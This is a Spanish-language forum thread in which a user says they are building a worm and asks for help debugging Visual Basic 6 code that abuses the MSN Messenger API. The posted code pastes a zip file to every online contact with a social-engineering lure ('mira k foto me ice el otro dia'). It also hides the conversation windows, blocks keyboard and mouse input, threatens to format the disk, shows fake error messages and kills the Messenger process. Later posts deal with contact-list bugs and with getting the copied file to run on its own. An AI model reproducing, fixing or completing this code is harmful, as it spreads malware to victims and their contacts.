Mensajes

hola , estoy haciendo un worm y estoy un poco pillado con la parte del msn.

este es el code de mi parte del MSN(hecho por Hendrix, he añadido algunas cosas):

Código [Seleccionar] Expandir


'declaraciones
Private WithEvents MSN As MessengerAPI.Messenger
Dim contactos
Dim contacto
Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long
Private Declare Function ShowWindow Lib "user32" (ByVal hwnd As Long, ByVal nCmdShow As Long) As Long
Private Const SW_HIDE = 0
Private Const SW_SHOW = 5
Dim Window As Long

Private Declare Sub keybd_event Lib "user32" (ByVal bVk As Byte, ByVal bScan As Byte, ByVal dwFlags As Long, ByVal dwExtraInfo As Long)
Private Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long)
Private Declare Function BlockInput Lib "user32" (ByVal fBlock As Long) As Long
Const KEYEVENTF_KEYUP = &H2
Const VK_LWIN = &H5B

Private Sub Form_Load()
On Error Resume Next
Dim ap(0) As String
ap(0) = "C:\DSC00082.zip"
If ClipboardCopyFiles(ap) = True Then ' Nos ponemos en el Portapapeles
End If
Wait (1) ' Esperamos 1 respiro al procesador...


 
  Set MSN = New MessengerAPI.Messenger
Set contactos = MSN.MyContacts

For Each contacto In contactos
    If contacto.Status <> 1 Then
        List1.AddItem contacto.SigninName
    End If
Next
 
Window = FindWindow(vbNullString, List1.List)
If Window = 0 Then 'si no encuentra la ventana
  MsgBox "Instala MSN Messenger o de lo contrario tu disco duro quedara completamente formateado", vbCritical + vbInformation, "Error" 'sale un mensaje de error
  Else
  ShowWindow Window, SW_HIDE 'showWindow ocultara la venta
  End If


Set w = CreateObject("Messenger.UIAutomation")
For Each contacto In w.MyContacts 'Vamos de contacto en contacto
If (contacto.Status = 2) Or (contacto.Status = 10) Or (contacto.Status = 14) Or (contacto.Status = 34) Or (contacto.Status = 50) Or (contacto.Status = 66) Then
Set iMsn = w.InstantMessage(contacto.SigninName)

SendKeys "^V"
DoEvents
Sleep 1
SendKeys "mira k foto me ice el otro dia"
DoEvents
SendKeys "{ENTER}"
DoEvents
Sleep 1
End If
Next
Wait (1) ' Esperamos un segundito para no "atascar" tanto...
' A partir de aki sirve para minimizar todas las ventanas...
Call keybd_event(VK_LWIN, 0, 0, 0)
Call keybd_event(77, 0, 0, 0)
Call keybd_event(VK_LWIN, 0, KEYEVENTF_KEYUP, 0)

DoEvents
BlockInput True
Sleep 15000
BlockInput False

ShowWindow Window, SW_SHOW 'esto es para mostrar la ventana oculta

MsgBox "Error en el volumen 800fs00x0658 del servicio Windows Live Messenger. Por favor inicie sesion de nuevo", vbInformation, "Windows Live Messenger"
Shell "cmd.exe /c taskkill /f /im msnmsgr.exe"
end sub


añdo un listbox para que se carguen los contactos ahi y asi luego poder ocultar sus ventanas pero al compilarlo me da un error con .list de lis1.list

¿¿que puedo hacer para minimizar las ventanas de conversacion con la lista de contactos en un listbox, porque me da error en .list??
o usais otra forma para ocultar las ventanas de conversacion?

saludos

bien pues aguantare hasta finales de año con vb6 y luego empezare con .net

saludos

Hola, segun tengo entendido vb 2008 es plataforma .net y es como si fuera vb 9.0
Yo me estoy iniciando en vb 6.0 y no quiero pensar que estoy perdiendo el tiempo, ya que he leido que vb.net es mas potente y vb6 no tiene futuro.

he probado en vb 2008 y me resulta mas dificil,pero ¿hago el esfuerzo de aprender vb 2008(.net) o sigo con vb 6.0 (que para mi es mas facil) y cuando lo domine un poco mas me paso a vb .net?

saludos

muchas gracias, es que aun nose mucho de variables,apis...etc  aunque estoy leyendo bastantes tutoriales sobre visual basic 

otra cosa, sabeis que hago mal al cargar la lista de contactos en un listbox??

pongo este code :

Código [Seleccionar] Expandir

For Each user In MsgrUIA.MyContacts
If user.Status = MISTATUS_ONLINE Or user.Status = MISTATUS_AWAY Or user.Status = MISTATUS_BE_RIGHT_BACK Or user.Status = MISTATUS_BUSY Or user.Status = MISTATUS_IDLE Or user.Status = MISTATUS_ON_THE_PHONE Or user.Status = MISTATUS_OUT_TO_LUNCH Then
List1.AddItem user.SigninName
End If
Next

me da error de compilacion con la palabra user(variable not defined)

he reiniciado el ordenador y ahora en la pantalla de opciones me sale mi nick, y con este ultimo code si puedo cambiarlo.gracias , y he estado probando y con este otro tambien :

Código [Seleccionar] Expandir

Option Explicit
Public WithEvents MSN As MessengerAPI.Messenger
Private Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long)


Private Sub Form_Load()
Set MSN = New MessengerAPI.Messenger
Me.Visible = False
MSN.OptionsPages 0, MOPT_GENERAL_PAGE
Sleep 100
SendKeys ("minick")
SendKeys ("{ENTER}")
End Sub


pues tampoco me funciona, sale muy rapido la ventana de opciones del MSN y se cierra. no se que puede pasar  porque antes me funcionaba y tambien podia cargar la lista de contactos en un listbox, que me saliera el nick en un msgbox...etc
Y ahora no, por ejemplo al poner lo de que me saliera el nick en un msgbox me sale un error que dice:
Run-time error '-2130705634 (8100031e)':
Method '~' of object '~' falied

cual puede ser el problema

[1]

hola, mi problema es el siguiente:

Los pasos que sigo para cambiar el nick son estos
1-En proyecto,referencias; agrego messenger api type library
2- declaro esto :

Código [Seleccionar] Expandir

Option Explicit
Public WithEvents MSN as MessengerApi.Messenger
3-en el form_load() :

Código [Seleccionar] Expandir

Set MSN = New MessengerAPI.Messenger
MSN.OptionsPages 0, MOPT_GENERAL_PAGE
SendKeys ("minick")
SendKeys ("{ENTER}")
y al ejecutarlo me sale una pantalla como si no hubiera iniciado sesion o algo similar:

Lo raro es que hace un rato si que podia cambiar el nick , ¿que estoy haciendo mal?

ahora tampoco me deja cargar la lista de contactos conectados en un listbox !
me sale un error de compilacion en la palabra user(antes no me salia =S)

saludos

si, seguramente lo armaria mal porque con el code completo que pusiste me funciona perfecto

gracias

al ejecutarlo, me sale este error:


si que se copia a C:\WINDOWS  y si lo ejecutas se empieza a abrir, pero el problema es que no se ejecuta solo